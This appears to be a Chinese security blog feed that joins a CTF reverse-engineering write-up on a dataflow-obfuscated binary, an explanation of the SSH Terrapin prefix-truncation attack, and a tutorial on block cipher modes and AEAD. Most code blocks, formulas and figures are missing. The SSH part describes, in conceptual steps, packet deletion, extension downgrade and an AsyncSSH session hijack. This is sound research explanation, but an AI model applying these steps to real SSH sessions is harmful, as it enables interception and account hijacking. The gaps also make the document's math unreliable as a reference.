本文首发于奇安信攻防社区 https://forum.butian.net/share/2770
题目感觉是一种新型的混淆模式,又可能是一种常见的某种程序分析或者动态执行的过程。我咨询了周围一些朋友,大家都只是觉得眼熟,很可惜不能找到它的真身
主办方最后给出了程序的源码,是经典的函数式编程。根据研究应该是某一种lisp的方言,感觉想要复现应该是很困难的了。。
这个文章前半段会讲一下大体的分析思路,如果只想看整体逻辑的话,可以跳到中间部分的程序架构介绍开始
题目只有一个elf,当把程序运行起来后,可以看到其大部分的逻辑都很普通,除了那个mmap了超大内存的地址,以及两个奇怪的函数(这两个函数我已经重命名过)
1 | signal(SIGSEGV, invalid_flag); |
这个read_inst
中会从两个全局变量中读取数据。他这个读取过程会使用两个全局变量inst_edge
和inst_code
。在这里,程序会分别将这些数据读入,并且更新一个数组,这里为了方便描述,下文称为Block
。以下是修改后的大致逻辑:
1 | // 首先会遍历所有的inst_code |
根据这里的逻辑,我们可以猜测如下的三个概念:
这三个结构体大致如下:
1 | struct Inst |
第一次看到这些结构体可能会难以理解,我们会在文章后面逐步介绍这些结构体是什么。除了这些关系外,我们可以观察到,不同的Block(Inst)会被Edge关联起来,其关系如下:
1 |
|
可以看到,每一个DST
Block中,会被多个SRC
Block注册。其中每一个SRC
被注册的时候,会将对应的arg
的地址放到DST
中的slot
中。每一个arg
的序号不固定。
其次,我们可以注意到在Inst
和Block
末尾能看到一个叫做Var
的变量:
1 | struct Inst |
每一个Block中可能包含一个有效的属性变量。这个属性的定义如下:
1 | struct Var |
成员变量解释如下:
var_type
:当前变量的类型。1的时候表示当前var_or_ptr
中存放的为指针,2的时候表示var_or_ptr
中存放的是变量本身,0的时候表示当前值为无效值var_or_ptr
:当前变量的值var_length
:当type为1的时候,表示指针指向的内容长度总结一下,初始化过程中会发生如下的流程:
在执行流中,程序执行过程如下:
1 | new_lines = calloc(lines_number, 1uLL); |
整个程序流执行的时候,有如下的检测逻辑:
exec_inst
逻辑exec_inst
逻辑这里将会埋下程序执行流的第一个疑问:argv将会在哪儿被初始化?
这个函数中,存放了11个不同的函数:
1 | __int64 __fastcall exec_inst(NewInstr *a1) |
程序会通过将9个不同的函数放到栈上,并且根据Block
中的exec_type
指定我们需要执行的函数类型。我们在这里将这些函数定义为ExecFunc。这里总结一下不同的type对应的函数功能
type | 函数作用 |
---|---|
1 | 将所有的argv相加,将答案赋值 |
2 | 将所有的argv相乘,将答案赋值 |
3 | 将var位置的block赋值 |
4 | 调用一个函数指针,并且将调用结果赋值 |
5 | 如果argv[0] == 0,则使用argv[1]赋值,否则使用argv[2]赋值 |
8 | 检查flag是否正确 |
9 | 调用read函数,将flag读入全局变量中 |
10 | 将两个指针指向的内存合并到一个新的内存中 |
11 | 获取argv[0][argv[1]]的值,并且赋值 |
这里可以看到,反复提到了一个叫做赋值的操作。这个操作具体在做什么呢?我们选择其中最简单的类型3assgin
为例子看一下:
1 | void __fastcall assign(NewInstr *a1) |
这边可以看到,程序在运行过程中,会将slot中存放的内容作为指针取出,并且将从var中取出的数值赋值到指针中。这个就是前文提到的赋值概念。更加形象化的描述的话,这个赋值过程如下:
exec_inst
,执行block指定的一个函数block
中所有的argv(在之前我们限制了argv一定要都处于被初始化的状态,而且类似assign过程是不需要参数的)block
的slot中取出所有的指针,并且进行赋值1 | for(int i; i < block->slot_cnt;i++ ) |
至此,我们可以知道当前Block的几个特征
call_type
为3,此时block不拥有参数,只会有赋值动作程序在运行的时候,会发现这个exec_type:4
还蛮关键的,看到其函数如下:
1 |
|
可以看到,这边会将argv[0]
作为输入,拷贝到全局变量addr
中,然后将其他的argv作为参数传入到这个函数指针中。然而在逆向过程中会发现,代码中的数据段并没有任何地方存放了一个完整的函数。通过一些逆向我们能够知道,函数们似乎在最初都被加密了,所以只得让程序运行一段再回头看。这里给出call_type:4
会执行的函数,为了与上文的ExecFunc区分,这里我们定义他们为CallFunc(函数名为我们自定义的)。
函数名 | 作用 |
---|---|
xor_all_argv | 将所有的参数异或 |
or_all_argv | 将所有的参数或 |
and_all_argv | 将所有的参数相与 |
check_if_zero | 检查第二个参数是否为0,如果为0返回1,否则返回0 |
get_index_from_input | 获取输入的第index参数,此时输入会传入该函数中 |
reorder | 将输入(16字节)按照指定的顺序重构 |
maze_step | 走迷宫函数,最后介绍 |
到这一步,基本上所有静态分析(其实也使用了动态了)能做的就都做完了,接下需要对程序进行一个宏观审视,才能进一步的分析整个逻辑。
分析了上面的执行流之后,我们发现这个程序的执行过程和传统程序不一样,甚至和传统意义上被混淆的程序有所不同。
传统意义上,我们的程序使用了是带有分支的执行流,例如:
1 | if(a > 0) |
从程序上来看,if..else..
是两个完全不相关的逻辑,这就意味这程序本身是以执行流作为指导,比如说:
即使是进行混淆(例如ollvm的扁平化),本质是基于执行流,即通过增加状态值,让程序跳转到不同的执行块上。这种编程方式我们临时性的定义为执行流编程
然而根据前面分析我们可以知道,本题有以下几个特征
根据搜索,这种被称之为数据流编程(Dataflow programming)也就是使用数据流作为串联整个程序地核心。
将这两个对比可以得到如下地结果
执行流编程 | 数据流编程 |
---|---|
根据输入情况,并非所有逻辑都会执行(不考虑exit等系统调用) | 无论输入如何变化,所有逻辑都会被执行(不考虑exit等系统调用) |
程序中的单一变量可能被修改 | 存在输入和输出变量,输入变量一定不能被修改 |
条件语句较为丰富 | 条件判断单一 |
这里对比以后,我们会发现这个题目存在以下难题:
分析了上述难点后,我们发现,想要解出这道题,需要满足如下需求:
为了尽可能的获取数据,我们可以在ExecFunc8,也就是确认flag是否正确的函数处下断点,当程序能够运行到当前位置的时候,说明所有的Block解密部分以及数据传递已经完成。
此时,内存中的数据如图:
此即为Block所在的堆。于是此时我们可以尝试dump完整的运行中Block数据。根据当前的偏移,计算起始坐标:
1 | 0x7FABE02BC0D8(current_addr) - 0x48(sizeof(Block1))*0x1191(line) |
同时,我们找到edge
对应的位置:
此时,我们找到了关键的Block
和对应的关联Edge
。编写脚本,将所有的执行流dump下来:
1 | import idc |
其中的函数表为我们单独在IDA中分析得到的结果。之后就能得到一个处理后的Block数据关系,由于多达0x149d个block, 这里选取部分内容展示:
1 | [0x7f01023890a0]Block[0x402]: |
在Blocks在逆向过程中,会发现存在大量的重复逻辑:
1 | [0x7f0102389208]Block[0x407]: |
例如上面这段0x407~0x40b
和上面贴出来的0x402~0x406
非常类似。并且我们可以观察到,0x403
获取的值为1,0x408
获得的值为2。总结一下特点:
几乎可以断定,即便是从不同的Block取出来的值,这些值应该是循环中使用的同一个变量中的递增值。于是经过分析,可以得出如下的逻辑:
1 | int length = strlen(flag); |
可以看到,这些检测并不能确认一个具体的值,而是【将数值限制在了某个范围内】。所以后面的程序逻辑极有可能都是【限制数值的取值】。后面的逻辑逆向如下:
1 | // third check |
根据前6个check,我么能够知道如下信息:
dice{XXXXXXXXXXXXXX}
的形式然而如果我们仅用前六个逻辑,使用z3会计算出非常大量的答案,根本没办法确认哪个才是正确答案。在这六个逻辑后,还有最关键的第七个maze_step
,也就是前面未提到的走迷宫函数。显然,需要配合迷宫才能完成最后的约束。
在进入迷宫前,会将flag中间的数值(总共32字节)取出,并且打乱后重组。在逆向这个迷宫函数的时候,发现迷宫函数本身有点怪异。与其他CallFunc不同,迷宫函数本身非常大,功能也很多:
1 | _QWORD *__fastcall maze_step(a) |
可以看到,当前函数中,既有创建地图的逻辑,又有初始化地图的逻辑,移动的逻辑,以及检查逻辑。
并且在此时,Block中出现了三个不同的数据表:
1 | [0x7f4477c54160]Block[0xd5a]: |
结合程序逻辑,我们能够大胆猜测,这个函数的运行逻辑如下:
flag[i]
,然后从三个不同的表steps1,steps2,steps3
中取出对应的数字通过进一步分析maze函数和blocks,能够得知以下信息:
-1
在最初的时候,我尝试过直接使用最短路径来计算如何前往目的地。毕竟大多数时候,这种逆向题目都会将最短路径作为唯一解。最初的时候,我尝试过使用BFS找最短路径,然而最后得到的路径居然只需要89步,而不是题目要求的96步。
简单分析了一下,我发现这个题目中,总共有9种前进模式。除了常见地上下左右,还能斜着前进,以及原地不动。于是我修改成上述地样子,指定必须在规定的步数内完成:
1 |
|
然而我打印了路径后发现,算法得到的路径只是先原地打转,然后再直接使用最短路径前进如果答案真的这样做,那可能的情况也太多了。在朋友地提示下,我打印出了当前执行地地图,地图大致如下:
在这个地图片段的最下方,有一个像是L的地方。如果用算法的话,它总是会这样前进:
然而,根据一般逆向题的逻辑,这里的路径应该是要长成这个样:
再三纠结了以下,我尝试手动走这个迷宫,并且在拐角处尽可能地转弯而不是走斜线,发现正好在96步完成了迷宫。然而,正如我们前文提到的,我们的前进方向会受到前面三个表的限制,他这个前进模式如下:
1 | char* steps[] = {step1, step2, step3}; |
举个例子:当我们的c取值为0的时候,step1[0]
的值为0,steps2[0]
的值为0。在我们获得了正确前进路线的情况下,这里尝试一口气使用三个前进方向来反向限制当前的输入。根据这个逻辑,可以写出如下的代码:
1 |
|
在代码中的targets
即为一个由三个步子构成的前进方向方向。在脚本的配合下,走迷宫走到终点后能够得到一个这样的对应关系:
1 | targets = [ |
可以看到,即使尝试利用路径限制,每一个flag的取值也不是固定的。最终,我们将这一个约束条件也加入,可以得出如下的解题脚本:
1 |
|
最终在这个约束下,能够求得唯一的flag。
关于题目回顾
在看到官方给出的出题脚本之后,感觉依然没办法判断具体是哪种语言,感觉可能是一种叫做racket
的编程语言。这种编程语言的思想其实很有意思,假设根据这种程序的编译结果来看,这些Block之间其实感觉是可以并发执行的。之前也和朋友讨论过,这种设计可能会导致cache命中出现问题,但是好像又增加了并发的可能。以后有空的话可以进一步学习这种有趣的编程语言
关于做题总结
这一次做题比上一次花了更长的时间。虽然一直都是做逆向出身,也做过逻辑特别复杂的题目,但是好像每次我都只能应付很小类型的题目。这次的题目其实回头看,当时挣扎的点都正好就是题目的难点:
每次迷茫的时候,其实心里都有正确答案,却一直在担心没有找到最优解而没有做下去。看起来比起pwn题,逆向更加需要比较坚定的信念和定力,也许确实更加考验做题人的精神力(笑)
]]>这个漏洞是由这边的几个安全研究员提出的漏洞。这个漏洞是一个基于MITM(Man-in-the-Middle 中间人,下文简称MITM)的攻击,这意味着,这个漏洞攻击的场景至少要存在如下的场合:
1 |
|
这个漏洞是针对SSH的通信完整性发起的攻击,并且攻击者不具备对于会话相关密钥信息的知识,包含但不限于:
所以这个问题不是一个简单的内存泄露或者逻辑漏洞。同时该攻击的一个重要的攻击面在于降低了SSH的防护措施,突破了SSH的通信完整性,从而使得之前出现过的攻击能够重新被利用。
When a secure channel between A and B is used, the data stream received by B should be identical to the one sent by A and vice versa
说白了,双方的通信都必须能够明确知道来自对方,这就是通信完整性
首先在讨论上述攻击的时候吗,首先要明确目标。SSH协议设计的时候是以通信完整为前提进行设计的,此时SSH通信的时候能够保证信息的完整性(integrity),这样就意味着其具备防御MITM的能力。
所以当SSH不再具备防御MitM攻击的时候,其实就可以认为对SSH完成了攻击。实际上,Terrapin提出的漏洞模型中,个人理解有一些仅需对SSH途径的路由进行控制,并且能进行Sniffer和重放,即可完成攻击。
SSH历史上出现过很多问题,其中有几个比较有趣,这边就选取这几个进行讲解
SSH通信的大致流程如下:
其中,这种通信协议被称为Binary Packet Protocol BPP,也就是二进制通信协议。并且在这里给出几个基础定义:
二者关系为:SSH的数据包以Packet为单位发送,每一个Packet中包含多个block。
1 | Block0 Block1 Block2 |
注意:这个问题其实在后来被证实为可能存在一定的问题,可能只有在某些理想化状态下能够使用。不过这个攻击实在是有趣,这边介绍一下这个攻击思路
这个漏洞是一片发在IEEE的文章提出来的,这里有链接
漏洞发生在ssh对于之前提到的M&E
实现过程中的问题,属于是协议的级别的问题。由于SSH通信过程为加密过程,其不能无限制的接受数据包,所以其在进行数据解析的时候,会按照Block解密。然而就是在其进行解密前的安全检查中,形成了这个漏洞的利用点。接下来来看一下这些错误检查点:
整个安全检查分为好多步骤,我们着重观察以下步骤
1 | if (packet_length < 1 + 4 || packet_length > 256 * 1024) { |
这里的packet_length
为从第一个数据包中解密的数据。这个检查用于防止写的过大导致的DDos问题。进行长度检测时,SSH允许的数据长度为[5,256 × 1024]
之间。(这里注意很重要)
1 | need = 4 + packet_length - block_size |
其中block_size
会随着我们选择的加密算法变化而变化,但是总的来说为固定值且为8的倍数。这里的need表示仍然需要接受的数据长度;如果此时的数据不是对齐的状态,则此时认为传输数据有误,此时会放弃当前通信,而不进行数据返回
1 | if (buffer_len(&input) < need + maclen) |
buffer_len(&input)
表示此时接受了的数据长度,maclen
则是在SSH协议中的SSH MAC
中指定的一个长度,根据使用的MAC不同而变化,例如hmac-sha1
的长度为20
如果这个Check不通过,SSH则会抛出一个叫做Corrupted MAC on input.
的错误信息。
总结一下这几个check的行为,可以得出如下的现象:
检查内容 | 检查未通过行为 |
---|---|
Packet Length | 连接断开,并且发送一个错误信息 |
Block 是否 对齐 | 连接断开 |
输入长度是否过长 | 返回错误信息 |
检查均通过 | 持续等待 |
现在假设我们作为攻击者,能够从中间截获数据包。此时我们做出如下的假设
对于CBC模式的加密算法,存在一系列的,此时有:
其中为IV,也可以是BBP 中获取的最后一个加密数据块。
对于解密,则有
我们假设作为攻击者,我们截获了一个加密数据包,此时我们有如下关系
假设我们把这个数据包插入到下一个Packet的开头,此时我们假设
那么此时的解密流程如下
综合上述算式,我们能得到
由于我们为中间人,因此可以假设我们能获取所有的。假设当我们插入数据包之后,出现如下的状态:
这均说明,程序已经通过了前文提到的长度检测。也就是说,的长度范围符合要求,也就是前14bit的数据一定为0。那么根据
就能获得当前的某个的前14bit
Q:怎么找到下一个连接开头呢?
A:虽然没办法直接观察到Packet开头,但是可以通过观察数据通过的情况来判断什么时候有新的Packet进来
假设我们通过block长度check,也就是进入上述的状态二,那么此时会持续的接受block,直到下面的判断不满足要求:
1 | if (buffer_len(&input) < need + maclen) |
那么此时,我们就持续不断的插入[1,maclen]
个数的长的blocks,观察ssh 触发MAC错误的那一刻。此时我们就能够根据我们发送的数据包,算出这个need
的准确值。此时,这个的完整值我们就能由这个公式得到:
1 | need = 4 + packet_length - block_size |
此时,根据 上文推到的
我们就能获得所有的明文信息!
根据总结,满足如下加密算法的传输都能够被这种方式进行攻击:
实际上,SSH也不可能允许一个用户反复的执行上述操作,其必将导致连接中断。但是,我们可以根据某些已知位置的数据进行攻击。例如,用户在进行远程登陆的时候,我们只需要将ssh通信过程中登录密钥相关逻辑进行破译,并不需要获取整个ssh通信数据。
这个攻击其实比较神奇,但是神奇之中透露着合理。这也是来自一篇USENIX的论文。论文提到说,人们在敲击键盘的时候,会有一定的倾向性。某些特定的字符或者字符组合敲击的时候,时间间隔可能会变得很长或者很短。
那么,通过观察数据包的特定格式,就能够猜测此时的输入内容。例如上述的通信中,通过传输数据的长度特征,就能推断出是否是正在输入SU
指令,以及猜测当前用户的输入长度。有些时候还能够通过一些特殊的观察看到额外的值。这边要给出作者之前打比赛遇到过的一道题,在这个题目中,虽然给出的是SSH的加密后数据包,并且给出了keylog
,但是其实log中存在数据修改。通过一个叫做packetStrider的脚本,实际上在加密状态下,根据数据包特征依然能准确的获取部分特定的输入内容(例如回车,或者删除)。这篇论文似乎也是提出了一个类似的方案。(不过具体内容太长,没有深入理解)这边贴出一个分析Terrapin-Attack的博客,这其中提到了在未提供防护的情况下,SSH数据包的特征:
可以看到,在未使用防护技巧的时候,SSH的数据包时间间隔和数据大小是有明显差异的,而在SSH新修复的场景中
可以看到,时间间隔变成一致的。这是因为SSH提供了一种基于时间的混淆技巧,从而让数据包的传输没有时间特征,从而避免了侧信道
好了,完成了之前那么多的前情提要,终于可以开始介绍这个攻击了。这个攻击针对的是SSH握手阶段发起的,这边要仔细介绍一下SSH的握手阶段发生的事情:
SSH从握手到建立加密通信信道的流程如下:
其中黑色的部分表示当前信道已经是加密信道了,从黑色部分开始,中间人就完全无法解析SSH通信的具体内容。
上图有几个细节:
SSH加密的时候,会交换加密中用到的密钥,以及用于保护秘密信息的nonce。注意这里的SSH通信过程中,使用的一般是椭圆曲线的交换方式,也就是使用形如的特性,完成密钥 以及一些必要的nonce等数据的获取。
这里生成的MAC值适用于检查信息的完整性,然而单纯生成普通的MAC值(例如,对明文进行hmac计算),攻击者很容易的就能使用各种方法对数据进行伪造。此时就需要引入刚刚提到的nonce数据,以及计数器Counter。
SSH会使用Snd
和 Rcv
两种不同的counter,前者会在发出数据包的时候自增,用于计算发出的数据包的MAC;后者会在接收到数据包的时候自增, 用于验证数据包的MAC,从而保证信道不被篡改。
由于SSH是基于TCP协议的,所以被认为是不发生丢包的稳定通信,因此使用的counter为隐式counter。
在KEXINIT
阶段(如图未加密),SSH会使用椭圆加密等手段进行nonces以及支持的算法列表进行交换。这里交换的四条算法列表包括
此时使用Diff-Hellman
密钥交换算法进行数据交换。(也有可能使用ECDH或者PQC等算法)服务端会使用握手阶段中的数字签名对此时的数据信息进行校验。这个数字签名为之前提到的那些信息以某种固定的顺序进行计算的结果。
这里提到的数字签名只会对通信数据中的部分数据进行计算。具体来说,这个hash如下:
这些值含义如下:
KEXINIT
阶段的基本信息上述的每一个值都有一个编码定义的长度域
注意,这里并没有把形如IGNORE MESSAGE这类消息,或者其他的消息进行编码。这就给MitM
创造了机会
为了对每一个数据包进行唯一性标记,这里使用了Snd
和Rcv
两种序列码共同标记。注意,在前几个序列中并不适用MAC对发送数据进行校验,而是等整个安全信道建立的时候,MAC才会参与数据校验。并且此时发送端的Snd
必须要和接收端的Rcv
相等,否则会直接抛弃当前数据包
文章提出的是一种叫做prefix truncation attacks
前缀截断攻击的一种攻击形式。这个攻击核心即为:
The SSH Binary Packet Protocol is not a secure channel because a MitM attacker can delete a chosen number of integrity-protected packets from the beginning of the channel in either or both directions without being detected
攻击的核心在于能够删除SSH通信过程中的Counter Number
,从而能够突破其完整性校验,然后强迫SSH使用低安全性的加密算法,完成完整的漏洞攻击流程。在攻击中,会使用如下的术语:
IGNORE
数据包:在SSH中,部分协议支持使用IGNORE
数据包,即由一方发往另一方,但是无需对方回显的数据包UNKNOWN
数据包:在SSH中,如果当前数据包格式正常,但是却无法识别其类型,那么就会当成UNKNOWN
数据包,对放则会回复一个UNIMPLEMENT
的数据包作为回应这个漏洞的核心成因为如下两点:
通过上述结论,我们可以使用如下的方式对目标进行攻击
通过在握手阶段插入一个数据包,我们可以增加Rcv
的计数器。换句话说,攻击者可可以动态的修改这个Snd
和Rcv
值
核心攻击技巧:攻击者可以通过使用序列号控制来动态的删除一个安全信道建立之初的数据包
在SSH通信过程中,如果接收方的Rcv
与发送方的Snd
不匹配,此时就会抛弃这个数据包。这个攻击就是利用了这个机制,使得SSH会将关键的数据包进行抛弃。
通过上述操作,可以发动如下的攻击:
1. BBP上进行多段前缀截断攻击
攻击者可以通过往Client或者Server段一次性发送多个特殊的IGNORE
数据包,从而引发多个数据包丢失,造成多段截断攻击。
2. 扩展协议降级攻击
在SSH通信中,会使用EXTINFO
来标注当前的SSH支持的扩展协议。然而攻击者可以通过丢弃这个EXTINFO
,造成Extension Negotiation
,迫使安全信道降级,让服务端以为客户端无法支持这几年的安全的协议,从而迫使服务端改用可以被键盘输入时间攻击keystroke timing attack
的老旧协议
3. 恶意扩展攻击和恶意会话攻击
在例如AsyncSSH
这类SSH实现端上。当攻击者拥有受害者的用户名的时候,可以通过插入一个带有用户认证信息的数据包,此时受害者会直接登陆到攻击者的shell环境上,实现整个会话的劫持。
攻击对于ChaCha20Poly1305
这种AEAD
的加密方式比较好,因为其使用的是近似于EtM
的完整性校验(实际上更为松散),同样可以用于部分CBC-EtM
模式中。但是,CBC-EaM,CTR-EaM,GCM
这三种模式都是不受到这个攻击影响的。
理由:
这个理由牵扯到我们上一篇文章提到的AEAD
的加密方式。因为这个攻击牵扯到遗弃数据包的动作,当我们尝试丢弃数据包的后,EaM
这种完整性校验会察觉到数据包被丢弃,而EtM
则有可能不会,因为EaM
其实是对明文做的完整性校验,而EtM
其实是对密文做的完整性校验,尤其ChaCha20Poly1305
这种算法,它将序列号也放在了派生密钥的过程中,这样就意味着,就只能解开的数据包,这与我们想法一致,丢弃数据包的动作完全不会影响它的解密。
实际上,某些算法中的EtM
未就能够绕过check,例如CTR-EtM
中,由于Counter的介入,当我们丢弃数据包的时候,Counter会发生错位,从而导致出错。所以,这里特指CBC-EtM
。而CBC-EtM
也并非完全可靠。我们举个例子,在CBC加密模式下,明文计算公式为:
那么假设此时,我们使用扩展协议降级攻击,使得前面k个数据包丢失,那么此时的计算为:
此时我们的p1值就是未知的了,而且可能是无效的。然而根据CBC的特性可知,此后的值都是没问题的:
所以这里就产生了一个疑问,SSH究竟会如何处理这个可能有问题的数据包呢?这里有三种可能:
UNKOWN
数据包,并且给出UNIMPLEMENT
回显接下来,就会展示一些可能的攻击场景,描述当前攻击的可行性
SSH算法会在NEWKEYS
阶段后,建立加密隧道,并且在加密信道中发送EXTINFO
相关信息,提供一些扩展加密策略,从而防止各种形如keystroke timing attack
的攻击策略。此时我们可以使用单个包的丢失阶段技巧后,可以使其丢弃对应的扩展加密策略,从而迫使其使用不太安全的通信策略:
此攻击同样是逼迫SSH丢弃EXTINFO
相关信息。然而正如前文所说,对于类似CBC
这种模式,其解密逻辑原先如下:
如果我们用IGNORE
丢弃一个数据包的话,数据会变成
这样有生成的所有密文都会被影响,从而使攻击失效。于是此时我们可以使用另一种策略强行让其丢弃EXTINFO
,那就是使用一种服务器无法解析的UNKNOWN
信息。此时服务端返回UNIMPLEMENT
。这种办法可以迫使Server端使用UNIMPELEMENT
数据包替换EXTINFO
,这样办法就能保证往后的密文解析没问题
如图,首先通过在Client端发送UNKNOWN
,使其能够保持对齐,然后通过在合适位置往Server端插入UNKNOWN
信息,即可保证在通信过程中依然能够截获EXT_INFO
。然而UNIMPLEMENT
信息通常较短,可能会导致数据错位(没能填满Block,或者因为EXT_INFO
导致错位等等)使得数据解密发生错误。然而,在部分SSH客户端中,我们可以使用PING-PONG
包代替这种包,通过在PING
数据包中塞入大量的数据,此时返回的PING
将很有可能能够符合SSH客户端接受数据的要求,此时准确率就会提升非常多
如果说之前的说法都是理论上的泛泛而谈,这边就要举一个实际的例子:asyncssh,这个库是一个python里面的有名的库。并且其就受到这种攻击的影响。这里介绍两种实际的攻击形式
EXTINFO
这里的打法和ChaCha20-Poly1305
类似,不过将IGNORE
替换成了指定的EXTINFO
。理论上来说,EXTINFO
应该在加密信道中进行接收,但是AsyncSSH可以接受任何时候发送的EXTINFO
,于是配合前面提到的前缀截断攻击,可以将原先的安全的SSH协议替换成我们指定的SSH协议
这种攻击需要攻击者在这个SSH服务端上也有一个登陆凭证。这种攻击能够让用户以攻击者指定的用户登录,但是毫无察觉。在这种场景下,攻击者能轻易的获取受害者的所有输入,甚至作为一个伪造的SSH Agent存在。这种攻击如图
首先在客户的NEWKEYS
之前,插入一个USER_AUTHREQUEST
请求,这个请求中包含了攻击者指定的认证信息(最好使用password
或者publickey
机制)。此时,AsyncSSH的服务器端会认为其接收到了认证信息,但是由于还没有完成握手机制(NEWKEYS
未完成),所以其仍会等待对应的流程完成。之后用户端发起SERVICE_REQUEST
,要求进行认证后,服务端此时发送SERVICE_ACCEPT
,表示可以进行认证。然而我们之前已经伪造了一个USER_AUTHREQUEST
请求,此时AsyncSSH的服务端会认为我们已经完成了请求,于是返回USERAUTH_SUCCESS
,表示可建立通讯通道。
期间为了防止Client的正常行为从而导致攻击者的登录被取代,以及防止Client察觉,这里故意将真正的USER_AUTHREQUEST
滞后,此时当服务器端返回请求后,攻击者再将这个请求发往对面。然而此时因为认为通道已经建立,这个登录请求就被抛弃了。
Q:为什么这个时候还要发送真正的USER_AUTHREQUEST
呢?
A:因为丢弃数据会引发CBC-MtE
解密错误,所以只能延后,不能丢弃
这个攻击模型非常有趣,其中无论是利用SSH机制的部分,还是通过替换数据包 or 丢弃数据包从而绕过MAC完整性的办法都是非常有趣的地方。在今后的安全研究中,需要试着从不同的角度去考虑攻击场景以及防护场景,才能更好的对安全有一个广泛的认知。
]]>整个加密中扯到了相当多的密码学知识,这边从一开始的部分开始讲起
加密算法本身在网上有非常多的优秀资料。这边仅对部分信息进行展开叙述。
以AES为例,AES的加密算法至今为止还是非常稳定的,然而这类算法称作块加密算法(与之相对的还有流加密算法),其作用的对象仅针对128bit|16bytes 192bit|24bytes 256bit|32bytes
这三种长度的数据进行加密。而现实中待加密的数据总是非常的长,这就需要对原数据进行一定的处理。这种不同的处理方式通常称作块加密模式(Block cipher mode)
,为了方便,在本文称作加密模式
在讨论加密模式的时候,我们通常有以下约定俗称的称呼:
当我们尝试对一个比较长的数据进行加密的时候,需要将数据按照Block大小切分。通常来说,切分的大小都是4字节对齐,然而我们输入的字符根本不能保证长度一定是4的倍数,这个时候程序往往会给数据的末尾增加一些字符用作Padding,例如:
1 | ThisIsAPassword\0x01 |
其中,这里的\x01
正好组成了字符串结尾的最后一个字符,并且这个字符数字是1,表示当前的字符的padding长度为1。这样当解密完成后,程序就会根据padding抛弃最后的字符,得到完整的字符串,上述例子中即为ThisIsAPassword
。当然,这也只是一种约定,作为开发者也可以通过约定,告诉用户你的输入必须要满足为XX的倍数,否则就出错,我们提到的这种padding方式可以在RFC2040这里看到。
根据前文可知,当遇到多余的字符时,可以使用padding来描述(或者直接要求用户输入为Block对齐)。那现在我们就需要一个方式来进行处理不同的Block,最简单的思路就是直接切分。例如下面的字符串:
1 | FirstPartAAAAAAASecondPartBBBBBB |
加密的时候,简单的分解成
1 | FirstPartAAAAAAA SecondPartBBBBBB |
这样进行加密即可。这种加密方式叫做电子密码本加密模式ECB(Electronic Codebook)
。加密方式如下图:
加密的时候,使用同一个密钥key,将切割后的字符串进行加密。这种加密方法还有几个比较有趣的好处:
其实在现实场景中,除了加密的可靠性,效率也是非常值得考虑的一点。甚至在某些场景下,牺牲一定程度的安全性也是可以被允许的,为了安全而抛弃效率其实是一种过于理想化的状态。
然而,其实有心人稍加考虑就会发现ECB有许多问题:
实际上,wiki中有给出ECB加密算法的一个极端例子:
可以看到,被ECB加密的图片能看到大致的形状。现实中,如果我们企图猜测某个用户输入的密钥,并且知道一个大致的输入范围的话,爆破起来将会非常快,此时的ECB模式就会失去应有的作用。
在这个背景之下,就提出了一种叫做链式块加密CBC的加密模式。这种模式的加密流程如下:
此时能看到其格式大致如下:
其中当i=0的时候,有以下特殊情况
IV为需要用户指定的一个输入长度的字符。
这种加密方式与ECB相比,有以下几个好处:
此时,解密的时候则需要将上述的流程进行相反的处理:
这种方式为一种比较主流的加密方式。然而其还是有一点缺点:
上文提到,CBC有一个还算致命的问题,就是IV即使出错了,也只影响一个数据块。所以提出了一种新的加密方式:PCBC,这种方式的加密如图:
可以注意到,此时多了一个异或的操作。也就是说,加密算法改成了:
这样一来,只要IV出错,错误就可以传播给每一个密文。然而这样一改,又引入了新的问题:
论证:
假设此时存在三个block,分别为0,1,2.此时已知
则
此时,和顺序调换,并不影响最终答案。
这两条缺点非常明显。所以这个算法并没有特别流行
这个算法不同于前面两个,并非是明文处理后参与AES这种加密算法,而是IV会参与到加密算法中,加密过程如图:
此时的加解密流程可以参考这个:
其与CBC模式很类似,也是加密的时候无法并行化,但是解密可以。
加密算法类似CFB,区别在于IV使用的为加密后的临时状态,而非加密完成后的C:
此时的加解密流程可以参考这个:
同样由于加密过程依赖上下文,所以不能进行并行加密。
可以看到,前文提过的加密算法(除了ECB)都有一个比较麻烦的问题:不能并行化。曾经和做密码学的朋友聊过,密码学算法除了加解密的安全性外,其实效率也是非常重要的一环。如果效率不行的情况下,某些所谓的安全信道将会花费大量的时间,这就会导致很多加密算法无法投入到实际生产中。于是这里提出了一种既能够保证安全性,又能并行加密的算法。
这种算法的模式如下:
其中,Counter会组成一个IV,这个IV的大小为每一个Plaintext Block 的大小。每一个Plaintext Block都有一个单独的IV。
首先这里生成一个随机数Nonce
,并且使用任意一种可逆算法F,将随机数和counter组合,形成IV,形如
之后,将这个单独的IV与Key放入对应的块加密算法中,最后用这个加密的到的数值和明文异或。
由于其孤立性的特点,CTR mode的加密算法允许算法进行并行化执行。
随着时代的发展,安全攻防也在升级。很多攻击者不但直接对加密算法本身下手,有时候也改而转向对整个通信过程下手,考虑通过截断,丢弃,甚至篡改数据包,起到对数据进行劫持攻击的效果。这种时候,就对加密算法提出了新的需求,即是需要能够保证当前的加密后的数据不被篡改,于是提出了MAC和AEAD的概念。
MAC(Message Authentication Codes)为一种用于保证通信信道完整性的代码。这种能够保证通信过程不被监听的通信方式叫做Authenticated Encryption
认证加密。认证加密能够保证通信的机密性和真实性。
通俗来说,就是保证以下两点:
为了能够保证上述两点,这种加密过程中会带有一个用于表示认证的标识authentication tag(AD)
。这种数据保证其数据的完整性,同时不被加密,例如网络请求头中存放请求的目标地址。尽管所有的路由都能获得这个地址,但是中途的请求路由却没有一个能获取对应的key。这种带有请求就叫做 authenticated encryption with associated data(AEAD)
。
这种AE(Authentication Encryption)加密流程如下
输入参数:
输出参数:
解密流程如下
输入参数:
输出参数:
规范化后的AEAD模式分为这几种
这种加密方式是唯一完全符合AE安全标准的。注意这种加密中,两个key一定要是分离的,否则依然会带来认证绕过的风险
遇上一个的区别是,此时MAC基于明文形成,并且只存在一个密钥,这种方式在某些特定的加密模式下会导致某种变种的Padding Oracle
攻击,详见Plaintext Recovery Attacks Against SSH
概括来说,就是早年的SSH在做出错检查的时候,如果MAC值不对的时候,会发送一个区别其他消息的错误信息。
首先基于明文生成MAC,然后将明文和MAC一同加密,获得密文。虽然看起来和上面的加密手法是一致的,所以同样也有Padding Oracle
的问题,其出现在历史上著名的针对TLS的攻击Lucky_Thirteen_attack
在过去,ssh会使用CBC模式对包含MAC的数据进行加密,叫做Encrypt-and-MAC
,就是在加密内容的最后增添MAC
值,这样就能够在,这就非常容易导致著名的Padding Oracle
攻击,从而在加密状态下,泄露位于数据末端的MAC
